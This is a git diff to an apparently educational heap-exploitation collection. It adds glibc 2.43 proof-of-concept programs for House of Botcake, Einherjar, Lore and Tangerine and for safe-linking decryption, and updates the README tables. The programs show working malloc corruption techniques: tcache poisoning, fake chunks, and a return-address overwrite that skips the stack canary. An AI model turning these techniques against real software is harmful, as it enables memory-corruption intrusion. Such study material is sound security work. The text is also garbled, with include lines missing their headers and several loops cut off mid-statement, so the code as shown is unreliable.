diff --git a/Makefile b/Makefile index 90f34d6..901285c 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ .PHONY: help clean distclean all test -VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42 +VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42 2.43 TECH_BINS := $(patsubst %.c,%,$(wildcard glibc_*/*.c)) BASE_BINS := $(patsubst %.c,%,$(wildcard *.c)) DOWNLOADED := glibc-all-in-one/libs glibc-all-in-one/debs diff --git a/README.md b/README.md index 39e5a5e..59bc33a 100644 --- a/README.md +++ b/README.md @@ -10,9 +10,9 @@ We came up with the idea during a hack meeting, and have implemented the followi |------|-----|-----------|---------------|-------|---------------------------| | [first_fit.c](first_fit.c) | | Demonstrating glibc malloc's first-fit behavior. | | | | | [calc_tcache_idx.c](calc_tcache_idx.c)| | Demonstrating glibc's tcache index calculation.| | | | -| [fastbin_dup.c](glibc_2.35/fastbin_dup.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | latest | | | -| [fastbin_dup_into_stack.c](glibc_2.35/fastbin_dup_into_stack.c) | :arrow_forward: | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | latest | | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf 2017-babyheap](https://web.archive.org/web/20181104155842/http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) | -| [fastbin_dup_consolidate.c](glibc_2.35/fastbin_dup_consolidate.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. | latest | | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) | +| [fastbin_dup.c](glibc_2.35/fastbin_dup.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | | +| [fastbin_dup_into_stack.c](glibc_2.35/fastbin_dup_into_stack.c) | :arrow_forward: | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf 2017-babyheap](https://web.archive.org/web/20181104155842/http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) | +| [fastbin_dup_consolidate.c](glibc_2.35/fastbin_dup_consolidate.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) | | [unsafe_unlink.c](glibc_2.35/unsafe_unlink.c) | :arrow_forward: | Exploiting free on a corrupted chunk to get arbitrary write. | latest | | [HITCON CTF 2014-stkof](http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/), [Insomni'hack 2017-Wheel of Robots](https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a) | | [house_of_spirit.c](glibc_2.35/house_of_spirit.c) | :arrow_forward: | Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. | latest | | [hack.lu CTF 2014-OREO](https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo) | | [poison_null_byte.c](glibc_2.35/poison_null_byte.c) | :arrow_forward: | Exploiting a single null byte overflow. | latest | | [PlaidCTF 2015-plaiddb](https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb), [BalsnCTF 2019-PlainNote](https://gist.github.com/st424204/6b5c007cfa2b62ed3fd2ef30f6533e94?fbclid=IwAR3n0h1WeL21MY6cQ_C51wbXimdts53G3FklVIHw2iQSgtgGo0kR3Lt-1Ek)| @@ -34,8 +34,8 @@ We came up with the idea during a hack meeting, and have implemented the followi | [tcache_house_of_spirit.c](glibc_2.35/tcache_house_of_spirit.c) | :arrow_forward: | Frees a fake chunk to get malloc to return a nearly-arbitrary pointer. | > 2.25 | | | | [house_of_botcake.c](glibc_2.35/house_of_botcake.c) | :arrow_forward: | Bypass double free restriction on tcache. Make `tcache_dup` great again. | > 2.25 | | | | [tcache_stashing_unlink_attack.c](glibc_2.35/tcache_stashing_unlink_attack.c) | :arrow_forward: | Exploiting the overwrite of a freed chunk on small bin freelist to trick malloc into returning an arbitrary pointer and write a large value into arbitraty address with the help of calloc. | > 2.25 | | [Hitcon 2019 one punch man](https://github.com/xmzyshypnc/xz_files/tree/master/hitcon2019_one_punch_man) | -| [fastbin_reverse_into_tcache.c](glibc_2.35/fastbin_reverse_into_tcache.c) | :arrow_forward: | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | > 2.25 | | | -| [house_of_mind_fastbin.c](glibc_2.35/house_of_mind_fastbin.c) | :arrow_forward: | Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address | latest | | | +| [fastbin_reverse_into_tcache.c](glibc_2.35/fastbin_reverse_into_tcache.c) | :arrow_forward: | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | 2.26 - 2.42 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | | +| [house_of_mind_fastbin.c](glibc_2.35/house_of_mind_fastbin.c) | :arrow_forward: | Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | | | [house_of_storm.c](glibc_2.27/house_of_storm.c) | :arrow_forward: | Exploiting a use after free on both a large and unsorted bin chunk to return an arbitrary chunk from malloc| < 2.29 | | | | [house_of_gods.c](glibc_2.24/house_of_gods.c) | :arrow_forward: | A technique to hijack a thread's arena within 8 allocations | < 2.27 | | | | [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | | diff --git a/glibc_2.42/house_of_tangerine.c b/glibc_2.42/house_of_tangerine.c index 09ab47f..a488b33 100644 --- a/glibc_2.42/house_of_tangerine.c +++ b/glibc_2.42/house_of_tangerine.c @@ -140,18 +140,27 @@ int main() { assert(freed_top_size == CHUNK_SIZE_1); + // free the previous top_chunk + heap_ptr = malloc(SIZE_3); + // this will be our vuln_tcache for tcache poisoning vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2]; printf("tcache next ptr: 0x%lx\n", vuln_tcache); - // free the previous top_chunk - heap_ptr = malloc(SIZE_3); - - // in glibc-2.42, the freed chunk will be directly added into fastbin, which is not - // as good as in tcachebin, let's force it to be in tcache by taking it out and free it - free(malloc(SIZE_1)); - + // do the above again to free one more chunk so that we can moves chunks from smallbin to tcache + printf("repeat the above process and obtain one more free chunk\n"); + top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1]; + new_top_size = top_size & PAGE_MASK; + heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size; + heap_ptr = malloc(SIZE_3); // do the free + printf("At this point, the latest freed chunk will be in fastbin while the other two in smallbin.\n"); + printf("We do one more large allocation malloc(0x10000) to move the chunk from fastbin to smallbin, so 3 chunks in smallbin\n"); + void *pad1 = malloc(0x10000); // a huge allocation that moves the fastbin to smallbin + printf("Now, we allocate one chunks from the smallbin, this will move the other two chunks into tcache.\n"); + void *pad2 = malloc(SIZE_1); // allocate from the smallbin to move things into tcache + + printf("Finally, we can do tcache poisoning.\n"); // corrupt next ptr into pointing to target // use a heap leak to bypass safe linking (GLIBC >= 2.32) heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12); @@ -164,5 +173,5 @@ int main() { // proof that heap_ptr now points to the same string as target assert((size_t) heap_ptr == target); - puts((char *) heap_ptr); + puts("Success! During the whole process, we didn't use the free() function."); } diff --git a/glibc_2.43/decrypt_safe_linking.c b/glibc_2.43/decrypt_safe_linking.c new file mode 100644 index 0000000..aaf0340 --- /dev/null +++ b/glibc_2.43/decrypt_safe_linking.c @@ -0,0 +1,66 @@ +#include +#include +#include + +long decrypt(long cipher) +{ + puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); + puts("because of the 12bit sliding."); + puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); + long key = 0; + long plain; + + for(int i=1; i<6; i++) { + int bits = 64-12*i; + if(bits < 0) bits = 0; + plain = ((cipher ^ key) >> bits) << bits; + key = plain >> 12; + printf("round %d:\n", i); + printf("key: %#016lx\n", key); + printf("plain: %#016lx\n", plain); + printf("cipher: %#016lx\n\n", cipher); + } + return plain; +} + +int main() +{ + /* + * This technique demonstrates how to recover the original content from a poisoned + * value because of the safe-linking mechanism. + * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known + * and the key (ASLR slide) is the same to the pointer's leading bits. + * As a result, as long as the chunk where the pointer is stored is at the same page + * of the pointer itself, the value of the pointer can be fully recovered. + * Otherwise, we can also recover the pointer with the page-offset between the storer + * and the pointer. What we demonstrate here is a special case whose page-offset is 0. + * For demonstrations of other more general cases, plz refer to + * https://github.com/n132/Dec-Safe-Linking + */ + + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + // step 1: allocate chunks + long *a = malloc(0x20); + long *b = malloc(0x20); + printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); + malloc(0x10); + puts("And then create a padding chunk to prevent consolidation."); + + + // step 2: free chunks + puts("Now free chunk a and then free chunk b."); + free(a); + free(b); + printf("Now the freelist is: [%p -> %p]\n", b, a); + printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); + + // step 3: recover the values + puts("Now decrypt the poisoned value"); + long plaintext = decrypt(b[0]); + + printf("value: %p\n", a); + printf("recovered value: %#lx\n", plaintext); + assert(plaintext == (long)a); +} diff --git a/glibc_2.43/house_of_botcake.c b/glibc_2.43/house_of_botcake.c new file mode 100644 index 0000000..71b9007 --- /dev/null +++ b/glibc_2.43/house_of_botcake.c @@ -0,0 +1,86 @@ +#include +#include +#include +#include +#include +#include + + +int main() +{ + /* + * This attack should bypass the restriction introduced in + * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d + * If the libc does not include the restriction, you can simply double free the victim and do a + * simple tcache poisoning + * And thanks to @anton00b and @subwire for the weird name of this technique */ + + // disable buffering so _IO_FILE does not interfere with our heap + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + // introduction + puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); + puts("returning a pointer to an arbitrary location (in this demo, the stack)."); + puts("This attack only relies on double free.\n"); + + // prepare the target + intptr_t stack_var[4]; + puts("The address we want malloc() to return, namely,"); + printf("the target address is %p.\n\n", stack_var); + + // prepare heap layout + puts("Preparing heap layout"); + puts("Allocating 0x10 chunks(malloc(0x100)) for us to fill up tcache list later."); + intptr_t *x[0x10]; + for(int i=0; inext pointer."); + // mangle the pointer since glibc 2.32 + unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var; + + puts("Get back victim chunk from tcache. This will put target to tcache top."); + a = malloc(0x100); + int a_size = a[-1] & 0xff0; + printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size); + + puts("Get the target chunk from tcache."); + intptr_t *target = malloc(0x100); + target[0] = 0xcafebabe; + + printf("target @ %p == stack_var @ %p\n", target, stack_var); + assert(stack_var[0] == 0xcafebabe); + return 0; +} diff --git a/glibc_2.43/house_of_einherjar.c b/glibc_2.43/house_of_einherjar.c new file mode 100644 index 0000000..dc095cf --- /dev/null +++ b/glibc_2.43/house_of_einherjar.c @@ -0,0 +1,157 @@ +#include +#include +#include +#include +#include + +int main() +{ + /* + * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32. + * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc(). + * It has the additional requirement of a heap leak. + * + * After filling the tcache list to bypass the restriction of consolidating with a fake chunk, + * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap. + * The following restriction for normal bins won't allow us to create chunks bigger than the memory + * allocated from the system in this arena: + * + * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */ + + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + printf("Welcome to House of Einherjar 2!\n"); + printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n"); + printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); + + printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n"); + printf("Next, we use tcache poisoning to hijack control flow.\n" + "Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41," + "now tcache poisoning requires a heap leak.\n"); + + // prepare the target, + // due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41, + // it must be properly aligned. + intptr_t stack_var[0x10]; + intptr_t *target = NULL; + + // choose a properly aligned target address + for(int i=0; i<0x10; i++) { + if(((long)&stack_var[i] & 0xf) == 0) { + target = &stack_var[i]; + break; + } + } + assert(target != NULL); + printf("\nThe address we want malloc() to return is %p.\n", (char *)target); + + printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n"); + intptr_t *a = malloc(0x38); + + // create a fake chunk + printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n"); + printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); + + a[0] = 0; // prev_size (Not Used) + a[1] = 0x60; // size + a[2] = (size_t) a; // fwd + a[3] = (size_t) a; // bck + + printf("Our fake chunk at %p looks like:\n", a); + printf("prev_size (not used): %#lx\n", a[0]); + printf("size: %#lx\n", a[1]); + printf("fwd: %#lx\n", a[2]); + printf("bck: %#lx\n", a[3]); + + printf("\nWe allocate 0x28 bytes for 'b'.\n" + "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n" + "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n"); + uint8_t *b = (uint8_t *) malloc(0x28); + printf("b: %p\n", b); + + int real_b_size = malloc_usable_size(b); + printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size); + + /* In this case it is easier if the chunk size attribute has a least significant byte with + * a value of 0x00. The least significant byte of this will be 0x00, because the size of + * the chunk includes the amount requested plus some amount required for the metadata. */ + printf("\nWe allocate 0xf8 bytes for 'c'.\n"); + uint8_t *c = (uint8_t *) malloc(0xf8); + + printf("c: %p\n", c); + + uint64_t* c_size_ptr = (uint64_t*)(c - 8); + // This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit + + printf("\nc.size: %#lx\n", *c_size_ptr); + printf("c.size is: (0x100) | prev_inuse = 0x101\n"); + + printf("We overflow 'b' with a single null byte into the metadata of 'c'\n"); + // VULNERABILITY + b[real_b_size] = 0; + // VULNERABILITY + printf("c.size: %#lx\n", *c_size_ptr); + + printf("It is easier if b.size is a multiple of 0x100 so you " + "don't change the size of b, only its prev_inuse bit\n"); + + // Write a fake prev_size to the end of b + printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that " + "it will consolidate with our fake chunk\n", sizeof(size_t)); + size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); + printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size); + *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size; + + // Change the fake chunk's size to reflect c's new prev_size + printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n"); + a[1] = fake_size; + + printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]); + + // Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk + printf("\nFill tcache.\n"); + intptr_t *x[0x10]; + for(int i=0; i %p ].\n", b, pad); + + printf("We overwrite b's fwd pointer using chunk 'd'\n"); + // requires a heap leak because it assumes the address of d is known. + // since house of einherjar also requires a heap leak, we can simply just use it here. + d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12); + + // take target out + printf("Now we can cash out the target chunk.\n"); + malloc(0x28); + intptr_t *e = malloc(0x28); + printf("\nThe new chunk is at %p\n", e); + + // sanity check + assert(e == target); + printf("Got control on target/stack!\n\n"); +} diff --git a/glibc_2.43/house_of_lore.c b/glibc_2.43/house_of_lore.c new file mode 100644 index 0000000..a1586e0 --- /dev/null +++ b/glibc_2.43/house_of_lore.c @@ -0,0 +1,137 @@ +/* +Advanced exploitation of the House of Lore - Malloc Maleficarum. +This PoC take care also of the glibc hardening of smallbin corruption. + +[ ... ] + +else + { + bck = victim->bk; + if (__glibc_unlikely (bck->fd != victim)){ + + errstr = "malloc(): smallbin double linked list corrupted"; + goto errout; + } + + set_inuse_bit_at_offset (victim, nb); + bin->bk = bck; + bck->fd = bin; + + [ ... ] + +*/ + +#include +#include +#include +#include +#include + +void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); } + +int main(int argc, char * argv[]){ + + + intptr_t* stack_buffer_1[4] = {0}; + intptr_t* stack_buffer_2[4] = {0}; + void* fake_freelist[7][4]; + + fprintf(stderr, "\nWelcome to the House of Lore\n"); + fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); + fprintf(stderr, "This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\n\n"); + + fprintf(stderr, "Allocating the victim chunk\n"); + intptr_t *victim = malloc(0x100); + fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim); + + fprintf(stderr, "Allocating dummy chunks for using up tcache later\n"); + void *dummies[7]; + for(int i=0; i<7; i++) dummies[i] = malloc(0x100); + + // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk + intptr_t *victim_chunk = victim-2; + + fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); + fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2); + + fprintf(stderr, "Create a fake free-list on the stack\n"); + for(int i=0; i<6; i++) { + fake_freelist[i][3] = fake_freelist[i+1]; + } + fake_freelist[6][3] = NULL; + fprintf(stderr, "fake free-list at %p\n", fake_freelist); + + fprintf(stderr, "Create a fake chunk on the stack\n"); + fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" + "in second to the last malloc, which putting stack address on smallbin list\n"); + stack_buffer_1[0] = 0; + stack_buffer_1[1] = 0; + stack_buffer_1[2] = victim_chunk; + + fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " + "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " + "chunk on stack"); + stack_buffer_1[3] = (intptr_t*)stack_buffer_2; + stack_buffer_2[2] = (intptr_t*)stack_buffer_1; + + fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash " + "introduced by smallbin-to-tcache mechanism\n"); + stack_buffer_2[3] = (intptr_t *)fake_freelist[0]; + + fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" + "the small one during the free()\n"); + void *p5 = malloc(1000); + fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5); + + + fprintf(stderr, "Freeing dummy chunk\n"); + for(int i=0; i<7; i++) free(dummies[i]); + fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); + free((void*)victim); + + fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n"); + fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); + fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim); + + void *p2 = malloc(1200); + fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2); + + fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); + fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + //------------VULNERABILITY----------- + + fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); + + victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack + + //------------------------------------ + fprintf(stderr, "Now take all dummies chunk in tcache out\n"); + for(int i=0; i<7; i++) malloc(0x100); + + + fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); + fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n"); + + void *p3 = malloc(0x100); + + fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); + char *p4 = malloc(0x100); + fprintf(stderr, "p4 = malloc(0x100)\n"); + + fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", + stack_buffer_2[2]); + + fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack + intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode + + long offset = (long)__builtin_frame_address(0) - (long)p4; + memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary + + // sanity check + assert((long)__builtin_return_address(0) == (long)jackpot); +} diff --git a/glibc_2.43/house_of_tangerine.c b/glibc_2.43/house_of_tangerine.c new file mode 100644 index 0000000..b145cd2 --- /dev/null +++ b/glibc_2.43/house_of_tangerine.c @@ -0,0 +1,174 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include + +#define SIZE_SZ sizeof(size_t) + +#define CHUNK_HDR_SZ (SIZE_SZ*2) +// same for x86_64 and x86 +#define MALLOC_ALIGN 0x10L +#define MALLOC_MASK (-MALLOC_ALIGN) + +#define PAGESIZE sysconf(_SC_PAGESIZE) +#define PAGE_MASK (PAGESIZE-1) + +// fencepost are offsets removed from the top before freeing +#define FENCEPOST (2*CHUNK_HDR_SZ) + +#define PROBE (0x20-CHUNK_HDR_SZ) + +// size used for poisoned tcache +#define CHUNK_SIZE_1 0x40 +#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ) + +// could also be split into multiple lower size allocations +#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1) +#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ) + +/** + * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64) + * + * House of Tangerine is the modernized version of House of Orange + * and is able to corrupt heap without needing to call free() directly + * + * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc + * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913 + * + * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer + * by abusing the tcache freelist. (requires heap leak on and after 2.32) + * + * this version expects a positive and negative OOB (e.g. BOF) + * or a positive OOB in editing a previous chunk + * + * This version requires 5 (6*) malloc calls and 3 OOB + * + * *to make the PoC more reliable we need to malloc and probe the current top chunk size, + * this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead + * + * Special Thanks to pepsipu for creating the challenge "High Frequency Troubles" + * from Pico CTF 2024 that inspired this exploitation technique + */ +int main() { + size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr; + long win[2] __attribute__ ((aligned (0x10))); + // disable buffering + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + // check if all chunks sizes are aligned + assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1); + assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3); + + puts("Constants:"); + printf("chunk header = 0x%lx\n", CHUNK_HDR_SZ); + printf("malloc align = 0x%lx\n", MALLOC_ALIGN); + printf("page align = 0x%lx\n", PAGESIZE); + printf("fencepost size = 0x%lx\n", FENCEPOST); + printf("size_1 = 0x%lx\n", SIZE_1); + + printf("target tcache top size = 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1); + + // target is malloc aligned 0x10 + // since this patch in glibc-2.42: https://patchwork.sourceware.org/project/glibc/patch/20250206213709.2394624-2-benjamin.p.kallus.gr@dartmouth.edu/ + // the size of the target chunk must be set + target = (size_t) &win[0]; + win[1] = 0x41; + + // probe the current size of the top_chunk, + // can be skipped if it is already known or predictable + heap_ptr = malloc(PROBE); + top_size = heap_ptr[(PROBE / SIZE_SZ) + 1]; + printf("first top size = 0x%lx\n", top_size); + + // calculate size_2 + + size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1; + size_2 &= PAGE_MASK; + size_2 &= MALLOC_MASK; + + + printf("size_2 = 0x%lx\n", size_2); + + // first allocation + heap_ptr = malloc(size_2); + + // use BOF or OOB to corrupt the top_chunk + top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)]; + + top_size = *top_size_ptr; + + printf("first top size = 0x%lx\n", top_size); + + // make sure corrupt top size is page aligned, generally 0x1000 + // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599 + new_top_size = top_size & PAGE_MASK; + *top_size_ptr = new_top_size; + printf("new first top size = 0x%lx\n", new_top_size); + + // remove fencepost from top_chunk, to get size that will be freed + // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895 + freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK; + assert(freed_top_size == CHUNK_SIZE_1); + + /* + * malloc (larger than available_top_size), to free previous top_chunk using _int_free. + * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged + * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913 + * we prevent the top_chunk from being merged by lowering its size + * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged + */ + + printf("size_3 = 0x%lx\n", SIZE_3); + heap_ptr = malloc(SIZE_3); + + top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1]; + printf("current top size = 0x%lx\n", top_size); + + // make sure corrupt top size is page aligned, generally 0x1000 + new_top_size = top_size & PAGE_MASK; + heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size; + printf("new top size = 0x%lx\n", new_top_size); + + // remove fencepost from top_chunk, to get size that will be freed + freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK; + printf("freed top_chunk size = 0x%lx\n", freed_top_size); + + assert(freed_top_size == CHUNK_SIZE_1); + + // free the previous top_chunk + heap_ptr = malloc(SIZE_3); + + // this will be our vuln_tcache for tcache poisoning + vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2]; + + printf("tcache next ptr: 0x%lx\n", vuln_tcache); + + // do the above again to free one more chunk so that we can moves chunks from smallbin to tcache + printf("repeat the above process and obtain one more free chunk\n"); + top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1]; + new_top_size = top_size & PAGE_MASK; + heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size; + heap_ptr = malloc(SIZE_3); // do the free + printf("Now, one more allocation will move the other two chunks to tcache\n"); + void *pad = malloc(SIZE_1); // allocate one chunk from smallbin to move other chunks to tcache + + printf("Finally, we can do tcache poisoning.\n"); + // corrupt next ptr into pointing to target + // use a heap leak to bypass safe linking (GLIBC >= 2.32) + heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12); + + // allocate first tcache (corrupt next tcache bin) + heap_ptr = malloc(SIZE_1); + + // get arbitrary ptr for reads or writes + heap_ptr = malloc(SIZE_1); + 